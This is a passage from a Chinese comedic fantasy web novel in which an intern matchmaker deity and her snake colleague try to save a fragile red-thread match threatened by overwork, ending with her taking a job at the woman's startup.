半晌,才抬起头,幽怨的目光投向那扇依旧紧闭的单元门。
“哼……”敖翔自言自语地嘟囔:“不就是年度考核合格吗?有什么难的……那个桃喜宁,今天不是刚牵成了一条红线吗?合格近在眼前啊。”
这么一想,心情似乎好了那么一点点。
他重新游到沙发上,再次盘回缘定三生的抱枕,努力做出一副云淡风轻的样子:“小小业绩,拿捏!”
8. 第8章
桃喜宁借着倒垃圾的名义,在外面晃荡了一整个晚上,直到天蒙蒙亮,眼看着避无可避,这才回到了公寓。
她磨磨蹭蹭推开门,目光所及,只见敖翔稳稳地盘踞在沙发中央的抱枕上,仿佛凝固了一般。
听到开门的动静,连尾巴尖都没动一下。
“不是吧……”桃喜宁心里嘀咕,“这气性也太大了一点,都过去一整个晚上了,还搁这儿生闷气呢……”
“嗯?”她动了动鼻翼,脸上露出些许疑惑:“奇怪,怎么好像……有股很淡的食物香气?”
那香气若有若无,带着一丝勾人食欲的油润和焦香,绝非这清锅冷灶的公寓里该有的味道。
桃喜宁循着那几乎消散的余味走到客厅的小桌旁,更加疑惑了。
“诶?这桌子……怎么感觉比昨天干净了不少?我记得上面明明落了层灰,我都好久没擦过了……”
“什么灰!你肯定是记错了!”一个声音猛地响起。
下一秒,沙发上的敖翔了!
只见他“嗖”地一下弹射而起,在空中划过一道优美的弧线,精准地落在了桃喜宁的肩头,凉凉的鳞片蹭得她脖子有些痒。
“我看你啊,”敖翔用尾巴尖不轻不重地拍了拍桃喜宁的肩膀,语气带着强行扭转话题的笃定。
“是饿出幻觉了,都开始胡言乱语闻到什么香气了。算了算了,我心胸宽广,就不跟你计较昨天的事了。看你这么可怜,今天就大发慈悲,给你露一手,让你吃点好的,顺带长长见识!”
他一边说,一边用脑袋催促地顶了顶桃喜宁的侧脸:“走走走,别愣着了,赶紧带路,去厨房!”
桃喜宁被这一连串的动作和话语弄得有点懵,几乎是下意识地走进了厨房。
桃喜宁打开冰箱,将昨晚采购的食材又一样样拿了出来——鸡蛋、番茄、胡萝卜,还有一小块新鲜的猪肉。
这一次,敖翔没有再像昨天那样只会动嘴指挥。只见他身形一闪,细长的尾巴如同灵巧的手臂,卷起案板上的厨刀。
下一刻,刀光闪烁,几乎带出了残影。猪肉在刀刃下迅速化作均匀的肉末,番茄和胡萝卜也在令人眼花缭乱的动作中,被精准地切成了细小的丁块。
桃喜宁只觉得眼前一花,场景就切换成了——敖翔用尾巴牢牢卷着平底煎锅的手柄,站在燃气灶前。
他将混合着浓郁茄汁肉酱的馅料拨到锅边,倒入均匀的蛋液,紧接着尾巴一翻,蛋皮对折,将满满的馅料包裹其中。
一个饱满厚实的番茄肉末蛋包便完美成型。
桃喜宁难以置信地揉了揉眼睛,又用力吸了吸鼻子。
天啊!这么美好的场景,居然是真的!同事在给她做早饭!
当第一个色泽金黄、馅料隐约透出红润的蛋包被盛在盘中,由敖翔用尾巴推到面前时,桃喜宁最后一点疑虑也烟消云散了。
她用勺子轻轻划开柔软的蛋皮,内里裹着浓郁茄汁的肉末与蔬菜丁热腾腾地涌出。送入口中,蛋皮的滑嫩、肉末的鲜美、番茄的酸甜与胡萝卜的爽脆瞬间在味蕾上融合。
“好吃!”桃喜宁几口就解决了一个,勺子毫不犹豫地伸向了下一个。
敖翔优雅地在一旁的餐巾纸上盘好,昂着小脑袋,语气里是掩饰不住的得意:“好吃吧?哼哼,现在知道什么是真正的厨艺了吧?”
他看着桃喜宁近乎狼吞虎咽的吃相,忍不住又道:“你吃这么快干嘛?又没人跟你抢。离月老庙开门接待还有些时间呢。”
“唔…今天月老庙不开门,”桃喜宁嘴里塞得鼓鼓囊囊,含糊不清地回答。
“李科长要开月度例会,暂停对外接待一天。”
……
一个多小时后,一人一蛇出现在了略显冷清的月老庙。
“月度例会?”敖翔趴在桃喜宁面前的办公桌上,不解地甩着尾巴:“这种会议,难道不应该回仙界总部开吗?怎么安排在人间这小小的办事网点?”
桃喜宁已经规规矩矩地坐好,准备开会,闻言,伸出手指,轻轻戳了戳敖翔的小脑袋。
经过早上的投喂,她和这位同事兼室友的关系拉近了不少,动作也透着一股熟稔。
“因为回仙界会产生差旅费。”桃喜宁言简意赅地解释。
“月老部……负担不起所有驻人界工作人员每月一次的往返,所以只能轮流在各个办事网点召开,节省开支。”
敖翔恍然大悟,尾巴“啪”地一下拍在桌面上,精准总结:“所以根本原因还是——穷!”
桃喜宁的嘴角无声地往下撇了撇,算是默认。
可不是么——清水衙门,名副其实,清澈得都快见底了。
“久等久等!不好意思!”李帅的声音伴随着略显急促的脚步声从门外传来。
只见他快步走进来,一边走一边不停地用手抹着额头。“临出门时,部长突然叫住我谈了几句话,所以才耽搁了,让你们久等了,抱歉抱歉。”
桃喜宁立刻站起身,想宽慰两句,展现一下作为下属的体贴:“李科长,没关系的,我们也没等……”
她话还没说完,肩头上的敖翔却抢先一步,小脑袋探出来,语气充满了纯粹的好奇。
“李科长,怎么就我们两个?你手底下就管着这一个兵吗?你这光杆司令当得有点寒酸啊。”
李帅脸上的笑容瞬间停滞,露出一丝难以掩饰的尴尬。
桃喜宁大惊失色,几乎要扑上去捂住敖翔的嘴。
她赶紧侧身挡住敖翔,连声道:“李科长您别介意!敖翔刚来,不懂规矩,都怪我没事先跟他说明白!您千万别跟他一般见识!”
李帅看看一脸焦急的桃喜宁,又瞄了眼她身后那条一脸“我说错什么了吗”的敖翔,脸上强行挤出一个干巴巴的笑容。
“没事,没事!新同事嘛,求知欲旺盛是好事,呵呵,好事……”
桃喜宁这才偷偷松了口气,回头压低声音给敖翔紧急补课:“李科长目前管辖着两个城市的办事网点!这两个网点前不久才刚从别的区域划分出来……”
敖翔立刻跟上她的思路,小脑袋一点:“哦——我明白了!所以就是李科长刚刚接手,自
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己也还不太熟?”
桃喜宁偷瞄到李帅原本就勉强的笑容彻底消失,嘴角微微下拉,眼神里甚至透出了一丝“好难”的悲凉,仿佛下一秒就要哭出来。
她赶紧提高音量,强行转移话题:“李科长!说起来,现在都年底了,另一位辖区的同事呢?应该已经到岗了吧?我们还没见过呢。”
李帅脸上闪过一丝更深的尴尬,干咳一声。
“咳,新同事是补录调剂的。部里说培训经费紧张,岗前培训得排队。等全部培训结束,才能统一分配给各个科室,所以估计……还得有好一阵子。等安排到我们科室了,我再给你们介绍。”
他抬手捋了捋自己本就不算富裕的头发,巧妙地用手掌遮住了最稀疏的头顶区域,语气沧桑。“咱们部门啊,现在信仰值不足,能录用的员工数量有限,流程又长,大家再克服克服。”
会议正式开始,主要是学习文件,领会部长的最新指示精神。
桃喜宁看着文件上的条款,小声提出疑问:“李科长,这个……不得主动强行牵系红线,这条我之前已经学习过了,明白。”
“但是后面这条,需日常在办事网点坐班,原则上不得外出主动寻觅姻缘机会,如有特殊情况要出外勤,必须由科长一级审批通过……”
“意思是,我们连时不时外出创造点相遇的机会都不行吗?”
李帅闻言,长长地、饱含沧桑地叹了一口气。
“小桃啊,你是不知道。部里上次开大会专门讨论过这个问题。我们月老部,在人界是有悠久传承的正经神仙!不是那些跑业务、拉客户的销售!”
“如果连我们都去主动出击撮合姻缘,那跟人界满大街的婚介所、联谊平台还有什么区别?我们仙界的体面,还要不要了?”
桃喜宁嘴角微抽,目光往下扫,果然在文件的附录里看到了相关《通报批评》。
几位因为过于积极主动的月老同事,在通报里被毫不留情地冠上了“地推仙”、“红线销售”等称号。
桃喜宁:“……”
她默默地,把已经到了嘴边的、想趁机申请在辖区内举办联谊会以创造业绩的建议,给硬生生咽了回去。
这万一太过积极主动,业绩没到手,先落了个处罚回来,影响实习转正,实在是划不来。
算了算了,还是按照文件要求,老老实实地坐班吧。
好不容易,这场氛围略显凝重的月度例会终于结束了。
李帅又匆匆叮嘱了几句诸如“注意安全”、“维护形象”之类的话,便像来时一样,匆匆离开了。
敖翔一直盘在桃喜宁肩头,此刻终于忍不住,发出了精准的吐槽。
“我之前还以为月老部近年业绩下滑,是因为大家都躺平了。搞了半天,是上头既不允许你们打广告做宣传,又不允许你们主动联系潜在客户……”
“这跟把销售关在办公室里不让出门有什么区别?业绩能不少才怪!”
桃喜宁深表同意地点点头,望着李帅离去的方向,再次为自己那转正的业绩指标,感到一阵无力。
9. 第9章
月老庙里,桃喜宁正对着办公电脑发呆,思考着如何在不违反仙界体面的前提下,尽量提升那可怜的红线牵成率。
就在这时,一阵急促的敲门声打破了宁静。
“快递!月老部的桃喜宁在吗?”一个穿着速递制服的小哥站在门口,手里抱着一个不大不小的纸箱。
“在的在的!”桃喜宁连忙起身签收。
快递小哥利落地将包裹递给她,同时亮出了收款码:“月老部统一的周边,快递费信仰值到付。”
“啊?又是到付?!”桃喜宁的脸瞬间垮了下来,发出一声无声的呐喊,“上次的报销流程我走了快两个月才批下来,信仰值都是我先垫付的!”
快递小哥得语气里带着毫不掩饰的鄙视:“没办法,谁让你们月老部的统一结算老是拖欠我们物流公司的款子。
“上面说了,只能给你们改成按次到付,现结现清。”他顿了顿,对比的意味十分明显。
“您看看人家隔壁财神部,那才叫大气!从不拖欠,快递量大,时不时还给打赏小费呢。要不...您考虑一下申请调换部门?”
桃喜宁被这番连消带打怼得哑口无言,只能垂头丧气地掏出手机,扫描二维码,眼睁睁看着自己本就不丰厚的信仰值余额又减少了一截。
然后一边在心里默默流泪,一边垂头丧气地拆开快递——纸箱里,赫然是一堆印着缘定三生字样的陶瓷杯。
她拿起一个杯子,左看右看,脸上写满了怀疑人生。
“抱枕、陶瓷杯……除了这些,部里就不能开发点别的周边吗?我们靠这些老套的东西,真的能吸引到现在的凡人吗?听说财神部都开始搞999足金抽奖了!”
一直盘在办公桌上午睡的敖翔被这边的动静吵醒。
他抬起小脑袋,懒洋洋地扫了一眼新到的那堆陶瓷杯。
“啧,确实寒酸。要不下次你跟上面建议,别搞这些虚头巴脑的了,直接改成发鸡蛋吧。”
“我相信,只要消息放出去,附近几个社区的大爷大妈绝对天天来你们月老庙门口排队。就算没有业绩,至少还能赚点人气。”
“你这家伙!就知道说风凉话!”桃喜宁被他这不着调的建议气得牙痒痒,一把抓过桌上滑溜溜的小青蛇,放在手里就是一通毫不留情的揉圆搓扁。
“住…住手!我的…形象!鳞片都要被你搓掉了!”敖翔在她手心里被搓得晕头转向,却还在顽强地发出抗议和威胁。
“再搓…再搓我就匿名给你打差评!让你考核雪上加霜!”
就在这一片鸡飞狗跳之际,办公桌上那台老旧的电脑主机箱突然发出一阵不同于往常的、尖锐的提示音!
屏幕上,代表姻缘系统的界面自动弹出一个鲜红色的提示框!
桃喜宁动作一僵,立刻停止了对敖翔的蹂躏,凑到屏幕前定睛一看,脸色瞬间大变。
警告信息清晰地显示:不久前刚刚牵系成功的红线——白饴&林渊傅,系统提示存在断裂风险!
“什么情况?!”桃喜宁失声惊呼拍。
这才牵上线几天?热恋期都没过吧?!
敖翔趁机从她松懈的手掌中溜出来,游到键盘旁边,昂起脑袋看着屏幕上的警告,语气里带着几分看热闹不嫌事大的戏谑。
“哟,这才几天?红线就要断了?你该不会是要入选本年度月老部红线断裂速度最快排行榜吧?说不定还能破个纪录?”
敖翔的话精准地刺中了桃喜宁的痛处。
她的脑海里瞬间浮现出自己因为年度考核不合格,被李帅痛心疾首地谈话,然后灰溜溜地被打包踢出月老部,自此失去稳定工作的凄惨场面。
“可恶!绝对不行!”强烈的危机感让桃喜宁瞬间斗志燃烧。
“我辛辛苦苦才考上月老部,绝不能就这么完了!我这就查查到底是怎么回事!”
她双手在键盘上飞快地操作起来,调出白饴&林渊傅这条红线的详细信息记录。
敖翔也好奇地凑近屏幕,用尾巴尖撑住自己的小脑袋,摆出一个傲娇的观察姿势。
“怎么样?查到了吗?是什么问题?性格不合?家里反对?还是第三者插足?”
桃喜宁紧皱着眉头,快速浏览着系统信息。
忽然,她的目光定格在一条最新的操作记录上,眉头猛地一皱。
“好像不是这些问题……”她的声音带着难以置信。
“系统记录显示,有同事提交了异议申请,理由是——要求恢复白饴前一次断裂的红线!”
她猛地一拍大腿,恍然大悟,声音里充满了被冒犯的愤怒:“这不是意外!这是撬单!摆明了是在撬我的单子!”
“撬单?”敖翔的竖瞳瞬间收缩成,原本松松垮垮盘踞的身体也微微绷直。
“谁?哪个辖区的?这么不懂规矩,敢撬到我们辖区上来?”
桃喜宁正在气头上,听到敖翔用了“我们辖区”这个词,不由得心生疑惑,扭头看他。
“咦?李科长送你过来历练的时候,没说你也要参与我们月老部考核啊?你怎么对业绩这么上心?”
“呃……”敖翔被她问得一噎,高昂的小脑袋瞬间矮了半截。
“就是…那个…我自己族里也有考核的嘛...再说...再说我们现在是同事嘛!不,是同一个网点的搭档!”
“抬头不见低头见的,我还能眼睁睁看着你年度考核过不了,被踢出去不成?那我岂不是没了…住的地方?”
他东拉西扯了一堆,然后强行把话题拽回来:“所以到底是谁在撬单?系统里能看到吗?”
桃喜宁的注意力被成功转移,懊恼地摇了摇头。
“看不到具体是哪个辖区的哪位同事。我的权限太低,只能看到有这么个异议申请被提交了。想要查看详情,还必须得向李科长申请更高级别的权限。”
但是,她只要一想到李帅平时三令五申、苦口婆心强调“不同辖区之间要和睦相处,维护月老部内部团结”的样子。
就知道直接去找他肯定会被和稀泥,然后被以“大局为重”的理由拒绝调查请求。
“先别着急,冷静点。”
桃喜宁像是在安慰敖翔,更像是在说服自己,手指一边在键盘上操作一边说
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:“我记得姻缘系统最近升级,好像开通了非敏感时间段的实时状态查看功能……”
敖翔插了句嘴:“什么是非敏感时间段?难道还有敏感时间段吗?”
桃喜宁觉得自己脑门“突突”直跳,伸手就给了敖翔一个弹指:“少说话,多干活,问那么多有的没的干嘛。”
敖翔交闪躲了过去,用尾巴护住自己后,小声嘟囔道:“不说就不说嘛,怎么还动手动脚的......”
桃喜宁顾不上耍宝的敖翔。
她点开系统界面,还试图让自己往好的方面想。
“上次白饴来月老庙里时,看和林渊傅感情...还是很不错的。现在这个时间点,正常人刚下班了,说不定两人正在甜蜜晚餐呢,是我自己吓自己。那个异议申请,说不定只是个误会……”
絮絮叨叨的话语,在系统界面成功连接并弹出实时画面的瞬间,戛然而止。
屏幕上清晰地显示出一个灯火通明的办公室——
白饴正坐在电脑前,头发微乱,眼神锐利得像要喷火,一手疯狂地敲击键盘,另一只手抓着手机贴在耳边,几乎用咆哮在打着电话。
“我不管有什么理由!明天早上九点,我要看到完整的解决方案...来不及?来不及就今天晚上集体加班!我跟你们一起加!”
她的身旁,一个年轻的男助理正抱着一叠文件,低着头,身体微微发抖,一副快被吓哭的样子。
桃喜宁看着姻缘系统里这个与之前温柔羞涩形象判若两人的白饴,彻底惊呆了。
“不……不会吧?”她难以置信地喃喃自语,手指有些发抖地又切换到林渊傅的实时状态界面。
画面一转,出现在一个堆满书籍和资料的办公室里——对,一看就也是个办公室。
林渊傅同样坐在电脑前,眼镜滑到了鼻梁中段,眼底挂着两个浓重的黑眼圈,脸上写满了生无可恋。
他一边对着屏幕上的学术报告抓头发,一边猛灌咖啡。那样子,活脱脱一个被学术压榨的科研牛马。
敖翔的小脑袋从桃喜宁的肩膀后探出来,看看左边屏幕里咆哮不止的白饴,又看看右边屏幕里萎靡不振的林渊傅,竖瞳里充满了惊奇。
他吐了吐信子,发出一个灵魂拷问:
“所以……这对的红线出现断裂危机,不是因为性格不合,也不是家里反对,而是因为——工作,插足在他们之间成了第三者?”
“岂有此理!”桃喜宁看着屏幕上被工作折磨得快散了架的两个,一股无名火“噌”地就冒了上来,瞬间淹没了刚才的惊慌和沮丧。
她猛地一拍桌子站了起来,脸上充满了悲愤和一种同是职场干活人的共鸣。
“我自己天天被业绩考核、写不完的报告、抠门的信仰值折磨得死去活来,已经够惨了!”
“现在居然连我亲手牵的红线,我负责的姻缘业绩,也要被工作横插一脚,活生生给折磨到断掉?!”
桃喜宁握紧了拳头,眼中燃烧起熊熊的斗志,一字一句地说道:
“这还能忍吗?当然不能忍!我跟工作这个万恶的第三者拼了!”
10. 第10章
说干就干!
桃喜宁重新坐直身体,双手在键盘上噼里啪啦地敲击起来,速度快得几乎带出了残影。
一份申请报告迅速成型。
她绞尽脑汁,将理由写得冠冕堂皇:
旨在提供优质的红线牵后服务,及时化解潜在矛盾,提升红线稳固率,从根本上杜绝红线断裂风险,为月老部的良好声誉保驾护航。
报告写好。
桃喜宁逐字逐句检查了一遍,自觉理由充分,逻辑严谨,既体现了对工作的责任心,又巧妙规避了主动出击的嫌疑,一定能符合仙界工作体面的要求。
于是怀着满满的信心,郑重其事地移动鼠标,点击了提交按钮。
然而,希望仅仅存在了一瞬。
几乎是报告提交成功的提示音刚落——叮!
一声更加尖锐急促的系统提示音骤然响起,一个红色的提示框地跳了出来,堵在了屏幕的正中央:【驳回申请。】
不仅如此,李帅的回复还紧随其后,带着不容置疑的权威。
【小桃,今天早上的月度例会,我刚刚强调过,需日常在办事网点坐班,原则上不得随意在工作时间出外勤,你怎么这么快就忘了?】
【要把会议精神落到实处啊!不可随意逾越!】
看着李帅带着敲打意味的回复。
桃喜宁目光呆滞地望向天花板,只感觉考核一片灰暗,转正遥遥无期。
内有同事撬单,外有规则枷锁。
这业绩,还怎么做?!这岗位,还怎么保?!
收到李科长的冷酷回复后,桃喜宁闷闷不乐了好几天。
以至于每天上班后的第一件事,就是打开姻缘管理系统,颤抖着点开【白饴&林渊傅】的选项,检查那条代表感情稳定的红线——直到确认还没有彻底断裂,才能稍微松口气。
这天,她又对着电脑屏幕上那条依旧摇摇欲坠的红线长吁短叹,愁得几乎要伸手揪掉自己几根头发。
“啊,再这样下去,我这头发的发量就要向李科长看齐了。工作难做啊!”
紧接着,一个熟悉的声音从她上方传来:“小桃啊,工作既然难做,你还有空关心我的头发?”
桃喜宁一个激灵,猛地抬头——只见李帅不知何时已经悄无声息地站在了办公桌旁边,双手背在身后,正微微俯身看着她。
“李…李科长!您好!”
她吓得差点从椅子上弹起来,手忙脚乱地想要关掉姻缘管理系统的界面,脸上还挤出一个比哭还难看的笑容。
“对不起,对不起!最近…最近一直在思考怎么提升业绩,太专注了,都没注意到您来了。”
李帅没有立刻说话,只是慢悠悠地直起身,目光在空空荡荡的月老庙里扫视了一圈。
连一个人影都没有。
他的视线最后落回电脑屏幕上——那堪堪挂在及格线上的业绩、并且因为白饴那条要断不断的红线而的业绩。
沉默,沉默比直接的批评更让人窒息。
半晌,李帅才重新低下头,用一种听不出喜怒的的语气问道:“看来你这工作强度确实很大,要不要放个假,回去好好休息一下?”
桃喜宁先是一愣,随即眼睛难以置信地亮了一下,几乎要脱口而出。
“真的可以吗李科长?!传说中的带薪休假?暂时逃离业绩压力,哪怕只有一天.....”
李科长脸上露出了一个堪称和蔼可亲的笑容,慢条斯理地补充道。
“当然可以了,仙生漫长,想休息几百年都没问题。”
“正好,我也一直在考虑向上级汇报,优化资源配置。依我看,我管的这两个辖区,似乎可以合并一下,留一个岗位就足够了。”
合并岗位?!那不就是变相裁员吗?!还在实习期的,绝对是会被优化掉的!
桃喜宁大惊失色,“唰”地一下站得笔直,椅子腿在地上划出刺耳的声音。
“不不不!李科长!我完全不累!一点也不需要休息!我热爱工作!我还能为月老部奋斗五百年!不,一千年!”
她的声音因为极度恐慌而拔高,几乎破了音,在房间里“嗡嗡”作响。
一直盘在桌上的熬游,此刻默默伸出尾巴,圈住了桃喜宁的手指,昂起头朝着李帅吐了吐信子,发出细微的嘶嘶声。
李帅下意识地倒退了一步,脚尖磕到了桌腿。
他轻咳一声,似乎是为了掩饰这瞬间的失态,迅速转移了话题。
“既然不累,那这业绩……难道就这么困难吗?按照月老庙的位置,周围潜在姻缘对象也不是完全没有嘛。”
桃喜宁低着头,不敢看李帅的眼睛,但忍了几天的憋屈还是让她忍不住小声辩解。
“可是……规定不让出外勤,只能在月老庙里坐等信众上门……现在凡人都不兴来庙里求姻缘了,都去用社交软件了……这、这困难当然大了……”
她的声音虽小,但在寂静的月老庙里却清晰可闻。
李帅听到桃喜宁说到困难,立刻挺直了腰板,语气带上了想当年的感慨。
“困难?这都是借口!想我八百年前,也是从基层岗位做起的!那时候条件比现在艰苦多了,我不照样年年业绩名列前茅,得到上级奖励?”
他边说边抚了抚自己稀疏的头顶。
桃喜宁低着头,盯着地面,不敢反驳,但紧抿的嘴唇和微微鼓起的腮帮子,都明确表达了她内心的不以为然——八百年前?那都是什么时候的工作经验了!
许是被她这副口服心不服的样子被激起了好胜心
李帅猛地一拍桌子,吓得桃喜宁又是一抖:“看来你是不信了?好!我今天就亲自做给你看,让你看看老前辈是怎么在规定内创造业绩的!”
他的目光在庙内逡巡,最终落在了墙角那堆印着“缘定三生”的陶瓷杯上。
李帅眼睛一亮,立刻指挥起来。
“你,去把那些杯子搬出来!在月老庙门口支个小摊!我们就搞个活动,买月老庙门票,赠陶瓷杯一个!这么好的办法,肯定能吸引人!”
桃喜宁和熬游对视一眼,都在对方眼中看到了“这能行吗?”的意思。
可领导的话不能不听,她只能认命地去搬杯子,在庙门口摆了个简易的小摊,还找了块硬纸板写上“赠杯”二字。
结果,现实给了李帅无情
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的一击。
时间一点一点过去,路过的行人步履不停,目光匆匆扫过小摊,脚步却未曾为这“缘定三生”的杯子停留半分。整整一个下午,竟连一个上前询问的人都没有。
李帅从最初的背手而立、信心满满,渐渐变得有些站不住。他开始在摊前踱步,越走越急,脚步声都透出了焦躁。
“李科长,”敖翔盘在桃喜宁手腕处,小脑袋一歪。
“您看看,隔壁街超市送鸡蛋的队伍,都快排到路口了。我们这儿……可真清静。”
桃喜宁低着头,用手指悄悄戳了一下敖翔,示意他闭嘴。
“小熬啊,做业绩,眼光要放长远……”李帅清了清嗓子,背起手,看样子正准备展开一番关于坚持的说教。
恰在此时,一个行人停在了小摊前,目光落在那些陶瓷杯上。
李帅立刻收住了话音,脸上迅速浮起一种“果然如此”的微笑,仿佛在说:看,方法还是有效的。
桃喜宁心里一紧。难道真有用?那以后该不会天天被派出来站岗摆摊吧?
她看着那人的侧影,一时竟不知该盼着成还是不成。
然而,这纠结没能持续多久。
“买门票……就送这个?”来人拿起一个杯子看了看底部,又放回去,嘴里含糊了一句。随即转身,重新汇入了人流。
李帅嘴角那抹还没完全展开的微笑僵住了,张了张嘴,最终什么也没能说出来。
他就那么站在原地,背在身后的手不知何时已经放了下来,看着那人消失的方向,半晌没动。
“哟,李科长,看来老前辈的经验,也不好用啊。”敖翔不失时机,发出了毫不留情的嘲笑。
李帅的脸色涨红,却无法反驳这眼前的事实,只能干咳几声。
毕竟是自己顶头领导,桃喜宁还是得硬着头皮给他找台阶下。
“李科长,主要是……现在是上班时间,大家都要坐班,不能随意出来参拜月老庙。等周末,周末人可能就多了……”
李帅擦了擦额角,似是在掩饰自己的窘迫,。
“嗯…小桃你说的有道理,是客观条件限制。看来只靠坐班,也的确是行不通……”
他背着手又踱了几步,忽然像是下了某种决心,转头对桃喜宁说。
“这样吧,你上次打的那个报告……就是申请什么牵后服务的那个,虽然理由有点扯,但出发点是为稳定红线。你重新提交一次吧,这次……我会批准的。”
峰回路转!
桃喜宁简直不敢相信自己的耳朵,继而大喜过望,刚才的郁闷一扫而空,感觉自己保住红线、挽救业绩的希望之火又重新燃烧了起来!
“谢谢李科长!”她的声音里是压抑不住的雀跃。
“嗯。”李帅点了点头,似乎终于想起了今天的来意,补充道,语气恢复了往常的平稳。
“对了,差点忘了正事。告诉你个消息,我们科另一位同事,已经正式到岗了,目前正在熟悉工作和环境。”
“过段时间,等他都安顿好了,我们科搞个团建,增进一下感情,也便于日后工作开展。”说完,他背着手,转身慢悠悠地朝庙外走去。
11. 第11章
“批了!批了!”
桃喜宁几乎是从椅子上弹起来的,眼睛盯着电脑屏幕上姻缘系统内部的通知。
【关于外勤申请的批复:经研究,同意申请。外勤期间需确保红线维护,且不得影响科里日常工作……】
后面一长串的格式条款和注意事项,桃喜宁直接略过。她的目光锁定了最关键的那一行:
【批复状态:已批准。】
“太好了!”她用力握了握拳,连日来悬着的心终于落地。
敖翔探过头,看着屏幕上那行字,整条蛇也放松下来,软绵绵地搭在桌沿。
“总算批了。不过这个不得影响科里日常工作是什么意思?”
“意思就是,我在外勤期间,科里的日常工作,比如红线申请,我还是得在移动设备上接着牵。”
桃喜宁一边解释,一边已经关掉了系统界面,迅速打开了另一个文档。
屏幕上,一个新的文档被创建,标题是:“个人简历”。
敖翔看着桃喜宁十指如飞地在键盘上敲击,姓名、年龄、教育背景……一行行标准化的信息被快速填充进表格模板里。
“你这简历,准备得还挺全。”
“仙界给人界办事网点的员工,都统一安排了完整的身份背景资料。”桃喜宁头也不抬,手指依旧在键盘上飞舞。
“实习期间,身份就是在校大学生。等转正了,就会更新成办事网点的正式员工,有对应的工作单位。”
她侧过头,给肩头的敖翔递了一个“你懂的”眼神:“方便管理,也省得每次工作中和凡人对接都要现编。”
“嗯嗯,我们也是。”敖翔点了点脑袋,随即整条蛇伸得更长,几乎要趴到屏幕上去看那些密密麻麻的字。
“不过……你这简历里,大学期间的成绩……”
他顿了顿,声音里带上了一丝明显的促狭。
“似乎,嗯,还有很大的进步空间啊?这是根据什么定的?总不能是随机生成的吧?”
桃喜宁敲击键盘的手指猛地一顿。
她飞快地瞥了一眼简历上那个实在不算美观的数字,脸颊泛起了淡淡的红晕。
没有回答,只是加快了手上的动作,迅速将简历检查了一遍,然后点击打印。
打印机发出嗡嗡的轻响,开始吐纸。
“这个嘛……不重要。”桃喜宁试图含糊过去,伸手去拿打印好的简历。
敖翔却没那么容易放过她。他灵活地从她肩头游到手臂,又顺着胳膊蹿到正在出纸的打印机旁,用小脑袋挡住她拿纸的手。
竖瞳里闪烁着不依不饶的好奇光芒:“说嘛说嘛。仙界应该不会随便给个低分……难道是根据你的某些……考核成绩?”
桃喜宁的脸更红了,伸手想把敖翔拨开。
“啊!我猜对了?难道真的是根据你参加仙界招录考试的成绩折算的?……”敖翔兴奋地整条蛇都立了起来。
“闭嘴!”桃喜宁终于忍无可忍,一把将打印好的简历从打印机里抽出来,快速对折,塞进一个文件夹里。
“成绩不代表一切!实践能力才是关键!再说,我们月老部的工作重点又不是考试!”
她越说声音越小,最后几乎成了嘀咕。
敖翔总算识趣地没有再追问下去,但还是发出了几声意味不明的、像是憋笑的嘶嘶声,蜷回她肩膀上,一抖一抖的。
桃喜宁甩甩头,勉强按下想把敖翔从肩膀上扯下来揉搓一番的念头。
毕竟眼下有更重要的事——几天后,得去白饴的公司面试。
说起来,她跟白饴在月老庙见过那么一次,虽然满打满算不到半天。
但是现在,桃喜宁只期望白饴——白总,能贵人多忘事。
......
“你...我们是不是之前在哪里见过。”白饴手里拿着桃喜宁那份精心准备的简历,眉头微蹙,目光在纸面与桃喜宁的脸之间来回移动。
期望彻底破灭了。
桃喜宁内心泪流满面。好吧,产生这种期望本来就不太现实。
她立刻打起精神,换上标准的应答语气:“我现在课余时间在本市的月老庙兼职,您可能之前去参拜时正好遇见过我。只是庙里来往的人太多,我可能对您印象不深了。”
白饴身旁坐着上次在姻缘管理系统的画面里见过的男助理。
他原本坐得笔直,在听到“月老庙”三个字时,身体几不可察地向前倾了倾。
“桃喜宁……”白饴的手指轻轻划过成绩栏,停顿片刻,语气比刚才委婉了些。
“你的实践经历很丰富,不过……你这大学期间的成绩,似乎还有提升空间?”
来了。桃喜宁维持着得体的微笑,准备好的说辞流畅吐出:“是的,因为我一直坚持在校外兼职,积累实战经验。我个人认为,实践经历有时比理论知识更重要。”
她语气诚恳,眼神坚定,心里却在默默补充:在月老部的工作很忙的好吗!牵红线、防断线、写报告……就算真的在读大学,也没有工夫刷分啊!
白饴不置可否地点了点头,将简历翻到最后一页扫了眼,合上文件夹,双手交叠置于桌面。
“那么,桃同学,你对我们这样一家刚起步的创业公司,有什么具体的个人期望吗?或者说,你希望在这里获得什么?”
这是个非常标准的面试问题。
桃喜宁几乎不假思索,脱口而出:“我没有特别的个人期望。我就希望能多分担一些基础工作,让白总您能更轻松一些,把精力聚焦在更关键的事务上。”
她此行的唯一目标,就是近距离观察白饴,把那个影响她业绩的“工作第三者”掐灭在萌芽里。让白饴轻松,就是让红线稳固;红线稳固,就是考核无忧。
白饴明显愣了一下,沉默了数秒,似乎在消化这个过于实在的回答。
“你……这想法倒是挺独特。”她最终说道,嘴角微微动了一下,“很……务实。”
这话听起来像夸奖,又带着点难以言喻的微妙。
桃喜宁面不改色,微笑依旧:“应该的。”
白饴又打量了她几眼,随即拿起笔,在简历封面利落地做了一个记号。
“行。”她干脆地说,“你被录用了。不过创业公司岗位灵活,你可能需要随时支援其他同事,哪里需要就去哪里,能接受吗?”
“完全接受。”桃喜宁点头,心下松口气。灵活才好,方便她全方位观察。
“那好,欢迎加入。明天来办入职手续。”
【没想到,你干活还挺熟练。】
入职一周后,敖翔盘在桃喜宁手腕上,看着她在公司里高效穿梭,忍不
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住评价。
桃喜宁确实适应得极快。这家初创公司人少事杂,而她就是哪里需要往哪搬的砖头。
订餐、协调会议室、初筛简历,甚至修理卡纸的打印机……各种琐碎杂活她都能立刻上手,干得利索且毫无怨言。
【我师父上岸仙界后,后面仙界招录考试的形式接连改了好几轮。】桃喜宁一边快速调整着表格格式,一边传音闲聊,语气平淡。
【我自己摸索了好些年才考过。考过之前还是凡人,要吃要喝,就时不时下山打工。干得多了,杂活自然就熟了。】
她手下键盘的敲击声清脆而有节奏,仿佛在给这段话打拍子。
【原来如此。】敖翔若有所思,看着她熟练地为报告加上页眉页脚,调整行距。
“小桃,辛苦了。”旁边传来声音。
桃喜宁抬头,看见方守依——白饴那位男助理,拿着两袋零食走过来,将一袋放在她桌上:“尝尝,公司新品。”
“谢谢方助理!”桃喜宁没客气,接过来拆开就吃。味道确实不错。
她也是面试前才发现,白饴的公司就是月老庙附近那家挂着“饴”字招牌的零食店。
